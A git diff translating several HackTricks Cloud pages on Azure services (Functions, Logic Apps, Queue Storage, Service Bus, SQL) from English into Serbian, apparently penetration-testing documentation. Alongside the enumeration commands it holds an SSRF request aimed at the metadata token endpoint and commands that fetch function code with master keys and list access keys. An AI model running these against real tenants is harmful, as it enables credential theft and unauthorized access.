client-id: ${{ secrets.AZUREAPPSERVICE_CLIENTID_6C3396368D954957BC58E4C788D37FD1 }}
|
||||
tenant-id: ${{ secrets.AZUREAPPSERVICE_TENANTID_7E50AEF6222E4C3DA9272D27FB169CCD }}
|
||||
subscription-id: ${{ secrets.AZUREAPPSERVICE_SUBSCRIPTIONID_905358F484A74277BDC20978459F26F4 }}
|
||||
|
||||
- name: "Deploy to Azure Functions"
|
||||
uses: Azure/functions-action@v1
|
||||
id: deploy-to-function
|
||||
with:
|
||||
app-name: "funcGithub"
|
||||
slot-name: "Production"
|
||||
package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
|
||||
- name: "Deploy to Azure Functions"
|
||||
uses: Azure/functions-action@v1
|
||||
id: deploy-to-function
|
||||
with:
|
||||
app-name: "funcGithub"
|
||||
slot-name: "Production"
|
||||
package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
Moreover, a **Managed Identity** is also created so the Github Action from the repository will be able to login into Azure with it. This is done by generating a Federated credential over the **Managed Identity** allowing the **Issuer** `https://token.actions.githubusercontent.com` and the **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
|
||||
Pored toga, **Upravljani identitet** se takođe kreira kako bi Github akcija iz repozitorijuma mogla da se prijavi u Azure. To se postiže generisanjem Federated kredencijala preko **Upravljanog identiteta** koji omogućava **Izdavaču** `https://token.actions.githubusercontent.com` i **Identifikatoru subjekta** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
|
||||
|
||||
> [!CAUTION]
|
||||
> Therefore, anyone compromising that repo will be able to compromise the function and the Managed Identities attached to it.
|
||||
> Stoga, svako ko kompromituje taj repozitorijum će moći da kompromituje funkciju i Upravljene identitete povezane sa njom.
|
||||
|
||||
### Container Based Deployments
|
||||
### Implementacije zasnovane na kontejnerima
|
||||
|
||||
Not all the plans allow to deploy containers, but for the ones that do, the configuration will contain the URL of the container. In the API the **`linuxFxVersion`** setting will ha something like: `DOCKER|mcr.microsoft.com/...`, while in the web console, the configuration will show the **image settings**.
|
||||
Nisu svi planovi omogućili implementaciju kontejnera, ali za one koji to rade, konfiguracija će sadržati URL kontejnera. U API-ju, podešavanje **`linuxFxVersion`** će imati nešto poput: `DOCKER|mcr.microsoft.com/...`, dok će u web konzoli konfiguracija prikazivati **podešavanja slike**.
|
||||
|
||||
Moreover, **no source code will be stored in the storage** account related to the function as it's not needed.
|
||||
|
||||
## Enumeration
|
||||
Pored toga, **niti jedan izvorni kod neće biti smešten u skladištu** povezanu sa funkcijom jer to nije potrebno.
|
||||
|
||||
## Enumeracija
|
||||
```bash
|
||||
# List all the functions
|
||||
az functionapp list
|
||||
@@ -218,15 +215,15 @@ az functionapp show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get details about the source of the function code
|
||||
az functionapp deployment source show \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
## If error like "This is currently not supported."
|
||||
## Then, this is probalby using a container
|
||||
|
||||
# Get more info if a container is being used
|
||||
az functionapp config container show \
|
||||
--name <name> \
|
||||
--resource-group <res-group>
|
||||
--name <name> \
|
||||
--resource-group <res-group>
|
||||
|
||||
# Get settings (and privesc to the sorage account)
|
||||
az functionapp config appsettings list --name <app-name> --resource-group <res-group>
|
||||
@@ -242,7 +239,7 @@ az functionapp config access-restriction show --name <app-name> --resource-group
|
||||
|
||||
# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code)
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
|
||||
# Get source code with Master Key of the function
|
||||
curl "<script_href>?code=<master-key>"
|
||||
@@ -252,19 +249,14 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
|
||||
# Get source code
|
||||
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
|
||||
## Privilege Escalation
|
||||
## Eskalacija privilegija
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-functions-app-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/azure-functions/functions-openapi-definition](https://learn.microsoft.com/en-us/azure/azure-functions/functions-openapi-definition)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,41 +2,38 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
Azure Logic Apps is a cloud-based service provided by Microsoft Azure that enables developers to **create and run workflows that integrate various services**, data sources, and applications. These workflows are designed to **automate business processes**, orchestrate tasks, and perform data integrations across different platforms.
|
||||
Azure Logic Apps je usluga zasnovana na oblaku koju pruža Microsoft Azure koja omogućava programerima da **kreiraju i pokreću radne tokove koji integrišu različite usluge**, izvore podataka i aplikacije. Ovi radni tokovi su dizajnirani da **automatizuju poslovne procese**, orkestriraju zadatke i obavljaju integracije podataka između različitih platformi.
|
||||
|
||||
Logic Apps provides a visual designer to create workflows with a **wide range of pre-built connectors**, which makes it easy to connect to and interact with various services, such as Office 365, Dynamics CRM, Salesforce, and many others. You can also create custom connectors for your specific needs.
|
||||
Logic Apps pruža vizuelni dizajner za kreiranje radnih tokova sa **širokim spektrom unapred izgrađenih konektora**, što olakšava povezivanje i interakciju sa raznim uslugama, kao što su Office 365, Dynamics CRM, Salesforce i mnoge druge. Takođe možete kreirati prilagođene konektore za vaše specifične potrebe.
|
||||
|
||||
### Examples
|
||||
### Primeri
|
||||
|
||||
- **Automating Data Pipelines**: Logic Apps can automate **data transfer and transformation processes** in combination with Azure Data Factory. This is useful for creating scalable and reliable data pipelines that move and transform data between various data stores, like Azure SQL Database and Azure Blob Storage, aiding in analytics and business intelligence operations.
|
||||
- **Integrating with Azure Functions**: Logic Apps can work alongside Azure Functions to develop **sophisticated, event-driven applications that scale as needed** and integrate seamlessly with other Azure services. An example use case is using a Logic App to trigger an Azure Function in response to certain events, such as changes in an Azure Storage account, allowing for dynamic data processing.
|
||||
- **Automatizacija podataka**: Logic Apps može automatizovati **procese prenosa i transformacije podataka** u kombinaciji sa Azure Data Factory. Ovo je korisno za kreiranje skalabilnih i pouzdanih tokova podataka koji prenose i transformišu podatke između različitih skladišta podataka, kao što su Azure SQL Database i Azure Blob Storage, pomažući u analitici i poslovnoj inteligenciji.
|
||||
- **Integracija sa Azure Functions**: Logic Apps može raditi zajedno sa Azure Functions za razvoj **složenih, događajem vođenih aplikacija koje se skaliraju po potrebi** i besprekorno se integrišu sa drugim Azure uslugama. Primer upotrebe je korišćenje Logic App-a za pokretanje Azure Function u odgovoru na određene događaje, kao što su promene u Azure Storage nalogu, omogućavajući dinamičku obradu podataka.
|
||||
|
||||
### Visualize a LogicAPP
|
||||
### Vizualizacija LogicAPP-a
|
||||
|
||||
It's possible to view a LogicApp with graphics:
|
||||
Moguće je prikazati LogicApp sa grafikom:
|
||||
|
||||
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
or to check the code in the "**Logic app code view**" section.
|
||||
ili proveriti kod u sekciji "**Logic app code view**".
|
||||
|
||||
### SSRF Protection
|
||||
### SSRF zaštita
|
||||
|
||||
Even if you find the **Logic App vulnerable to SSRF**, you won't be able to access the credentials from the metadata as Logic Apps doesn't allow that.
|
||||
|
||||
For example, something like this won't return the token:
|
||||
Čak i ako pronađete **Logic App ranjiv na SSRF**, nećete moći da pristupite kredencijalima iz metapodataka jer Logic Apps to ne dozvoljava.
|
||||
|
||||
Na primer, nešto poput ovoga neće vratiti token:
|
||||
```bash
|
||||
# The URL belongs to a Logic App vulenrable to SSRF
|
||||
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
|
||||
```
|
||||
|
||||
### Enumeration
|
||||
### Enumeracija
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List
|
||||
az logic workflow list --resource-group <ResourceGroupName> --subscription <SubscriptionID> --output table
|
||||
@@ -47,11 +44,9 @@ az logic workflow definition show --name <LogicAppName> --resource-group <Resour
|
||||
# Get service ppal used
|
||||
az logic workflow identity show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerSHell" }}
|
||||
|
||||
```powershell
|
||||
# List
|
||||
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
|
||||
@@ -62,12 +57,7 @@ Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>
|
||||
# Get service ppal used
|
||||
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Identity
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,60 +1,50 @@
|
||||
# Az - Management Groups, Subscriptions & Resource Groups
|
||||
# Az - Grupa za upravljanje, Pretplate i Resursne grupe
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Management Groups
|
||||
## Grupe za upravljanje
|
||||
|
||||
You can find more info about Management Groups in:
|
||||
Možete pronaći više informacija o Grupama za upravljanje u:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
### Enumeration
|
||||
|
||||
### Enumeracija
|
||||
```bash
|
||||
# List
|
||||
az account management-group list
|
||||
# Get details and management groups and subscriptions that are children
|
||||
az account management-group show --name <name> --expand --recurse
|
||||
```
|
||||
## Pretplate
|
||||
|
||||
## Subscriptions
|
||||
|
||||
You can find more info about Subscriptions in:
|
||||
Možete pronaći više informacija o Pretplatama u:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
### Enumeration
|
||||
|
||||
### Enumeracija
|
||||
```bash
|
||||
# List all subscriptions
|
||||
az account list --output table
|
||||
# Get details
|
||||
az account management-group subscription show --name <management group> --subscription <subscription>
|
||||
```
|
||||
|
||||
## Resource Groups
|
||||
|
||||
You can find more info about Resource Groups in:
|
||||
Možete pronaći više informacija o Resource Groups u:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# List all resource groups
|
||||
az group list
|
||||
# Get resource groups of specific subscription
|
||||
az group list --subscription "<subscription>" --output table
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,15 +2,14 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
Azure Queue Storage is a service in Microsoft's Azure cloud platform designed for message queuing between application components, **enabling asynchronous communication and decoupling**. It allows you to store an unlimited number of messages, each up to 64 KB in size, and supports operations such as creating and deleting queues, adding, retrieving, updating, and deleting messages, as well as managing metadata and access policies. While it typically processes messages in a first-in-first-out (FIFO) manner, strict FIFO is not guaranteed.
|
||||
Azure Queue Storage je usluga u Microsoftovoj Azure cloud platformi dizajnirana za redosled poruka između komponenti aplikacije, **omogućavajući asinhronu komunikaciju i dekopling**. Omogućava vam da čuvate neograničen broj poruka, svaka do 64 KB veličine, i podržava operacije kao što su kreiranje i brisanje redova, dodavanje, preuzimanje, ažuriranje i brisanje poruka, kao i upravljanje metapodacima i politikama pristupa. Iako obično obrađuje poruke po principu prvi došao, prvi uslužen (FIFO), strogi FIFO nije garantovan.
|
||||
|
||||
### Enumeration
|
||||
### Enumeracija
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Az Cli" }}
|
||||
|
||||
```bash
|
||||
# You need to know the --account-name of the storage (az storage account list)
|
||||
az storage queue list --account-name <storage_account>
|
||||
@@ -27,11 +26,9 @@ az storage message get --queue-name <queue_name> --account-name <storage_account
|
||||
# Peek Messages
|
||||
az storage message peek --queue-name <queue_name> --account-name <storage_account>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PS" }}
|
||||
|
||||
```bash
|
||||
# Get the Storage Context
|
||||
$storageAccount = Get-AzStorageAccount -ResourceGroupName QueueResourceGroup -Name queuestorageaccount1994
|
||||
@@ -64,36 +61,31 @@ $visibilityTimeout = [System.TimeSpan]::FromSeconds(10)
|
||||
$queueMessage = $queue.QueueClient.ReceiveMessages(1,$visibilityTimeout)
|
||||
$queueMessage.Value
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Privilege Escalation
|
||||
### Eskalacija privilegija
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-queue-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
### Post Eksploatacija
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-queue-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
### Postojanost
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-queue-persistance.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,53 +4,52 @@
|
||||
|
||||
## Service Bus
|
||||
|
||||
Azure Service Bus is a cloud-based **messaging service** designed to enable reliable **communication between different parts of an application or separate applications**. It acts as a secure middleman, ensuring messages are safely delivered, even if the sender and receiver aren’t operating simultaneously. By decoupling systems, it allows applications to work independently while still exchanging data or instructions. It’s particularly useful for scenarios requiring load balancing across multiple workers, reliable message delivery, or complex coordination, such as processing tasks in order or securely managing access.
|
||||
Azure Service Bus je **usluga razmene poruka** zasnovana na oblaku koja omogućava pouzdanu **komunikaciju između različitih delova aplikacije ili odvojenih aplikacija**. Deluje kao siguran posrednik, osiguravajući da poruke budu bezbedno isporučene, čak i ako pošiljalac i primalac ne rade istovremeno. Razdvajanjem sistema, omogućava aplikacijama da rade nezavisno dok i dalje razmenjuju podatke ili uputstva. Posebno je korisna za scenarije koji zahtevaju ravnotežu opterećenja među više radnika, pouzdanu isporuku poruka ili složenu koordinaciju, kao što je obrada zadataka u redosledu ili sigurno upravljanje pristupom.
|
||||
|
||||
### Key Concepts
|
||||
### Ključni koncepti
|
||||
|
||||
1. **Queues:** its purpose is to store messages until the receiver is ready.
|
||||
- Messages are ordered, timestamped, and durably stored.
|
||||
- Delivered in pull mode (on-demand retrieval).
|
||||
- Supports point-to-point communication.
|
||||
2. **Topics:** Publish-subscribe messaging for broadcasting.
|
||||
- Multiple independent subscriptions receive copies of messages.
|
||||
- Subscriptions can have rules/filters to control delivery or add metadata.
|
||||
- Supports many-to-many communication.
|
||||
3. **Namespaces:** A container for all messaging components, queues and topics, is like your own slice of a powerful Azure cluster, providing dedicated capacity and optionally spanning across three availability zones.
|
||||
1. **Redovi:** Njegova svrha je da čuva poruke dok primalac ne bude spreman.
|
||||
- Poruke su raspoređene, vremenski označene i trajno sačuvane.
|
||||
- Isporučuju se u režimu povlačenja (na zahtev).
|
||||
- Podržava komunikaciju tačka-tačka.
|
||||
2. **Teme:** Razmena poruka putem objavljivanja i pretplate za emitovanje.
|
||||
- Više nezavisnih pretplata prima kopije poruka.
|
||||
- Pretplate mogu imati pravila/filtere za kontrolu isporuke ili dodavanje metapodataka.
|
||||
- Podržava komunikaciju mnogi-na-mnoge.
|
||||
3. **Imena prostora:** Kontejner za sve komponente razmene poruka, redove i teme, kao vaša vlastita podela moćnog Azure klastera, pružajući posvećeni kapacitet i opcionalno se proteže preko tri dostupne zone.
|
||||
|
||||
### Advance Features
|
||||
### Napredne funkcije
|
||||
|
||||
Some advance features are:
|
||||
Neke napredne funkcije su:
|
||||
|
||||
- **Message Sessions**: Ensures FIFO processing and supports request-response patterns.
|
||||
- **Auto-Forwarding**: Transfers messages between queues or topics in the same namespace.
|
||||
- **Dead-Lettering**: Captures undeliverable messages for review.
|
||||
- **Scheduled Delivery**: Delays message processing for future tasks.
|
||||
- **Message Deferral**: Postpones message retrieval until ready.
|
||||
- **Transactions**: Groups operations into atomic execution.
|
||||
- **Filters & Actions**: Applies rules to filter or annotate messages.
|
||||
- **Auto-Delete on Idle**: Deletes queues after inactivity (min: 5 minutes).
|
||||
- **Duplicate Detection**: Removes duplicate messages during resends.
|
||||
- **Batch Deletion**: Bulk deletes expired or unnecessary messages.
|
||||
- **Sesije poruka**: Osigurava FIFO obradu i podržava obrasce zahteva-odgovora.
|
||||
- **Automatsko prosleđivanje**: Prenosi poruke između redova ili tema u istom imenskom prostoru.
|
||||
- **Dead-Lettering**: Zapisuje neisporučive poruke za pregled.
|
||||
- **Zakazana isporuka**: Odlaže obradu poruka za buduće zadatke.
|
||||
- **Odlaganje poruka**: Odlaže preuzimanje poruka dok ne budu spremne.
|
||||
- **Transakcije**: Grupira operacije u atomsko izvršenje.
|
||||
- **Filteri i akcije**: Primena pravila za filtriranje ili anotaciju poruka.
|
||||
- **Automatsko brisanje kada je neaktivno**: Briše redove nakon neaktivnosti (min: 5 minuta).
|
||||
- **Otkrivanje duplikata**: Uklanja duplikate poruka tokom ponovnog slanja.
|
||||
- **Brisanje u serijama**: Masovno briše istekle ili nepotrebne poruke.
|
||||
|
||||
### Authorization-Rule / SAS Policy
|
||||
### Pravilo autorizacije / SAS politika
|
||||
|
||||
SAS Policies define the access permissions for Azure Service Bus entities namespace (Most Important One), queues and topics. Each policy has the following components:
|
||||
SAS politike definišu dozvole pristupa za entitete Azure Service Bus imenskog prostora (najvažniji), redove i teme. Svaka politika ima sledeće komponente:
|
||||
|
||||
- **Permissions**: Checkboxes to specify access levels:
|
||||
- Manage: Grants full control over the entity, including configuration and permissions management.
|
||||
- Send: Allows sending messages to the entity.
|
||||
- Listen: Allows receiving messages from the entity.
|
||||
- **Primary and Secondary Keys**: These are cryptographic keys used to generate secure tokens for authenticating access.
|
||||
- **Primary and Secondary Connection Strings**: Pre-configured connection strings that include the endpoint and key for easy use in applications.
|
||||
- **SAS Policy ARM ID**: The Azure Resource Manager (ARM) path to the policy for programmatic identification.
|
||||
- **Dozvole**: Potvrdni okviri za određivanje nivoa pristupa:
|
||||
- Upravljanje: Daje potpunu kontrolu nad entitetom, uključujući upravljanje konfiguracijom i dozvolama.
|
||||
- Slanje: Omogućava slanje poruka entitetu.
|
||||
- Slušanje: Omogućava primanje poruka od entiteta.
|
||||
- **Primarni i sekundarni ključevi**: Ovo su kriptografski ključevi koji se koriste za generisanje sigurnih tokena za autentifikaciju pristupa.
|
||||
- **Primarni i sekundarni stringovi za povezivanje**: Prekonfigurisani stringovi za povezivanje koji uključuju krajnju tačku i ključ za laku upotrebu u aplikacijama.
|
||||
- **SAS politika ARM ID**: Putanja Azure Resource Manager-a (ARM) do politike za programatsku identifikaciju.
|
||||
|
||||
### NameSpace
|
||||
### Imenovanje prostora
|
||||
|
||||
sku, authrorization rule,
|
||||
|
||||
### Enumeration
|
||||
sku, pravilo autorizacije,
|
||||
|
||||
### Enumeracija
|
||||
```bash
|
||||
# Queue Enumeration
|
||||
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
@@ -78,27 +77,22 @@ az servicebus queue authorization-rule list --resource-group <MyResourceGroup> -
|
||||
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
|
||||
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
|
||||
```
|
||||
|
||||
### Privilege Escalation
|
||||
### Eskalacija privilegija
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-servicebus-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
### Post Eksploatacija
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-servicebus-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0
|
||||
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview
|
||||
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quickstart-cli
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,100 +4,99 @@
|
||||
|
||||
## Azure SQL
|
||||
|
||||
Azure SQL is a family of managed, secure, and intelligent products that use the **SQL Server database engine in the Azure cloud**. This means you don't have to worry about the physical administration of your servers, and you can focus on managing your data.
|
||||
Azure SQL je porodica upravljanih, sigurnih i inteligentnih proizvoda koji koriste **SQL Server bazu podataka u Azure oblaku**. To znači da ne morate brinuti o fizičkom upravljanju vašim serverima, a možete se fokusirati na upravljanje vašim podacima.
|
||||
|
||||
Azure SQL consists of three main offerings:
|
||||
Azure SQL se sastoji od tri glavne ponude:
|
||||
|
||||
1. **Azure SQL Database**: This is a **fully-managed database service**, which allows you to host individual databases in the Azure cloud. It offers built-in intelligence that learns your unique database patterns and provides customized recommendations and automatic tuning.
|
||||
2. **Azure SQL Managed Instance**: This is for larger scale, entire SQL Server instance-scoped deployments. It provides near 100% compatibility with the latest SQL Server on-premises (Enterprise Edition) Database Engine, which provides a native virtual network (VNet) implementation that addresses common security concerns, and a business model favorable for on-premises SQL Server customers.
|
||||
3. **Azure SQL Server on Azure VMs**: This is Infrastructure as a Service (IaaS) and is best for migrations where you want **control over the operating system and SQL Server instance**, like it was a server running on-premises.
|
||||
1. **Azure SQL Database**: Ovo je **potpuno upravljana usluga baze podataka**, koja vam omogućava da hostujete pojedinačne baze podataka u Azure oblaku. Nudi ugrađenu inteligenciju koja uči vaše jedinstvene obrasce baze podataka i pruža prilagođene preporuke i automatsko podešavanje.
|
||||
2. **Azure SQL Managed Instance**: Ovo je za veće, celokupne SQL Server instance. Pruža skoro 100% kompatibilnost sa najnovijim SQL Server on-premises (Enterprise Edition) Baza podataka, koja pruža nativnu implementaciju virtuelne mreže (VNet) koja rešava uobičajene sigurnosne probleme, i poslovni model povoljan za on-premises SQL Server korisnike.
|
||||
3. **Azure SQL Server na Azure VMs**: Ovo je infrastruktura kao usluga (IaaS) i najbolje je za migracije gde želite **kontrolu nad operativnim sistemom i SQL Server instancom**, kao da je to server koji radi on-premises.
|
||||
|
||||
### Azure SQL Database
|
||||
|
||||
**Azure SQL Database** is a **fully managed database platform as a service (PaaS)** that provides scalable and secure relational database solutions. It's built on the latest SQL Server technologies and eliminates the need for infrastructure management, making it a popular choice for cloud-based applications.
|
||||
**Azure SQL Database** je **potpuno upravljana platforma baze podataka kao usluga (PaaS)** koja pruža skalabilna i sigurna rešenja za relacione baze podataka. Izgrađena je na najnovijim SQL Server tehnologijama i eliminiše potrebu za upravljanjem infrastrukturom, što je čini popularnim izborom za aplikacije zasnovane na oblaku.
|
||||
|
||||
#### Key Features
|
||||
#### Ključne karakteristike
|
||||
|
||||
- **Always Up-to-Date**: Runs on the latest stable version of SQL Server and Receives new features and patches automatically.
|
||||
- **PaaS Capabilities**: Built-in high availability, backups, and updates.
|
||||
- **Data Flexibility**: Supports relational and non-relational data (e.g., graphs, JSON, spatial, and XML).
|
||||
- **Uvek ažurirano**: Radi na najnovijoj stabilnoj verziji SQL Server-a i automatski prima nove funkcije i zakrpe.
|
||||
- **PaaS mogućnosti**: Ugrađena visoka dostupnost, rezervne kopije i ažuriranja.
|
||||
- **Fleksibilnost podataka**: Podržava relacione i nerezidencijalne podatke (npr. grafove, JSON, prostorne i XML).
|
||||
|
||||
#### Purchasing Models / Service Tiers
|
||||
#### Modeli kupovine / Servisni nivoi
|
||||
|
||||
- **vCore-based**: Choose compute, memory, and storage independently. For General Purpose, Business Critical (with high resilience and performance for OLTP apps), and scales up to 128 TB storag
|
||||
- **DTU-based**: Bundles compute, memory, and I/O into fixed tiers. Balanced resources for common tasks.
|
||||
- Standard: Balanced resources for common tasks.
|
||||
- Premium: High performance for demanding workloads.
|
||||
- **vCore-bazirano**: Izaberite računarske, memorijske i skladišne resurse nezavisno. Za opštu namenu, poslovno kritične (sa visokom otpornosti i performansama za OLTP aplikacije), i skalira do 128 TB skladišta.
|
||||
- **DTU-bazirano**: Kombinuje računarske, memorijske i I/O resurse u fiksne nivoe. Izbalansirani resursi za uobičajene zadatke.
|
||||
- Standard: Izbalansirani resursi za uobičajene zadatke.
|
||||
- Premium: Visoke performanse za zahtevne radne opterećenja.
|
||||
|
||||
#### Deployment Models
|
||||
#### Modeli implementacije
|
||||
|
||||
Azure SQL Database supports flexible deployment options to suit various needs:
|
||||
Azure SQL Database podržava fleksibilne opcije implementacije kako bi zadovoljila različite potrebe:
|
||||
|
||||
- **Single Database**:
|
||||
- A fully isolated database with its own dedicated resources.
|
||||
- Great for microservices or applications requiring a single data source.
|
||||
- **Elastic Pool**:
|
||||
- Allows multiple databases to share resources within a pool.
|
||||
- Cost-efficient for applications with fluctuating usage patterns across multiple databases.
|
||||
- **Jedna baza podataka**:
|
||||
- Potpuno izolovana baza podataka sa sopstvenim posvećenim resursima.
|
||||
- Odlično za mikroservise ili aplikacije koje zahtevaju jedan izvor podataka.
|
||||
- **Elastični bazen**:
|
||||
- Omogućava više baza podataka da dele resurse unutar bazena.
|
||||
- Ekonomično za aplikacije sa fluktuirajućim obrascima korišćenja među više baza podataka.
|
||||
|
||||
#### Scalable performance and pools
|
||||
#### Skalabilne performanse i bazeni
|
||||
|
||||
- **Single Databases**: Each database is isolated and has its own dedicated compute, memory, and storage resources. Resources can be scaled dynamically (up or down) without downtime (1–128 vCores, 32 GB–4 TB storage, and up to 128 TB).
|
||||
- **Elastic Pools**: Share resources across multiple databases in a pool to maximize efficiency and save costs. Resources can also be scaled dynamically for the entire pool.
|
||||
- **Service Tier Flexibility**: Start small with a single database in the General Purpose tier. Upgrade to Business Critical or Hyperscale tiers as needs grow.
|
||||
- **Scaling Options**: Dynamic Scaling or Autoscaling Alternatives.
|
||||
- **Jedinstvene baze podataka**: Svaka baza podataka je izolovana i ima svoje posvećene računarske, memorijske i skladišne resurse. Resursi se mogu dinamički skalirati (gore ili dole) bez prekida rada (1–128 vCores, 32 GB–4 TB skladišta, i do 128 TB).
|
||||
- **Elastični bazeni**: Deli resurse među više baza podataka u bazenu kako bi se maksimizovala efikasnost i uštedeli troškovi. Resursi se takođe mogu dinamički skalirati za ceo bazen.
|
||||
- **Fleksibilnost servisnog nivoa**: Počnite sa malom jedinstvenom bazom podataka u opštem nivou. Nadogradite na poslovno kritične ili hiperskalne nivoe kako potrebe rastu.
|
||||
- **Opcije skaliranja**: Dinamičko skaliranje ili alternativne automatske skalacije.
|
||||
|
||||
#### Built-In Monitoring & Optimization
|
||||
#### Ugrađeno praćenje i optimizacija
|
||||
|
||||
- **Query Store**: Tracks performance issues, identifies top resource consumers, and offers actionable recommendations.
|
||||
- **Automatic Tuning**: Proactively optimizes performance with features like automatic indexing and query plan corrections.
|
||||
- **Telemetry Integration**: Supports monitoring through Azure Monitor, Event Hubs, or Azure Storage for tailored insights.
|
||||
- **Query Store**: Prati probleme sa performansama, identifikuje glavne potrošače resursa i nudi akcione preporuke.
|
||||
- **Automatsko podešavanje**: Proaktivno optimizuje performanse sa funkcijama kao što su automatsko indeksiranje i ispravke plana upita.
|
||||
- **Integracija telemetrije**: Podržava praćenje putem Azure Monitor-a, Event Hubs-a ili Azure Storage-a za prilagođene uvide.
|
||||
|
||||
#### Disaster Recovery & Availavility
|
||||
#### Oporavak od katastrofa i dostupnost
|
||||
|
||||
- **Automatic backups**: SQL Database automatically performs full, differential, and transaction log backups of databases
|
||||
- **Point-in-Time Restore**: Recover databases to any past state within the backup retention period.
|
||||
- **Geo-Redundancy**
|
||||
- **Failover Groups**: Simplifies disaster recovery by grouping databases for automatic failover across regions.
|
||||
- **Automatske rezervne kopije**: SQL Database automatski vrši pune, diferencijalne i rezervne kopije transakcionih logova baza podataka.
|
||||
- **Obnova tačke u vremenu**: Oporavite baze podataka na bilo koje prethodno stanje unutar perioda zadržavanja rezervnih kopija.
|
||||
- **Geo-redundantnost**
|
||||
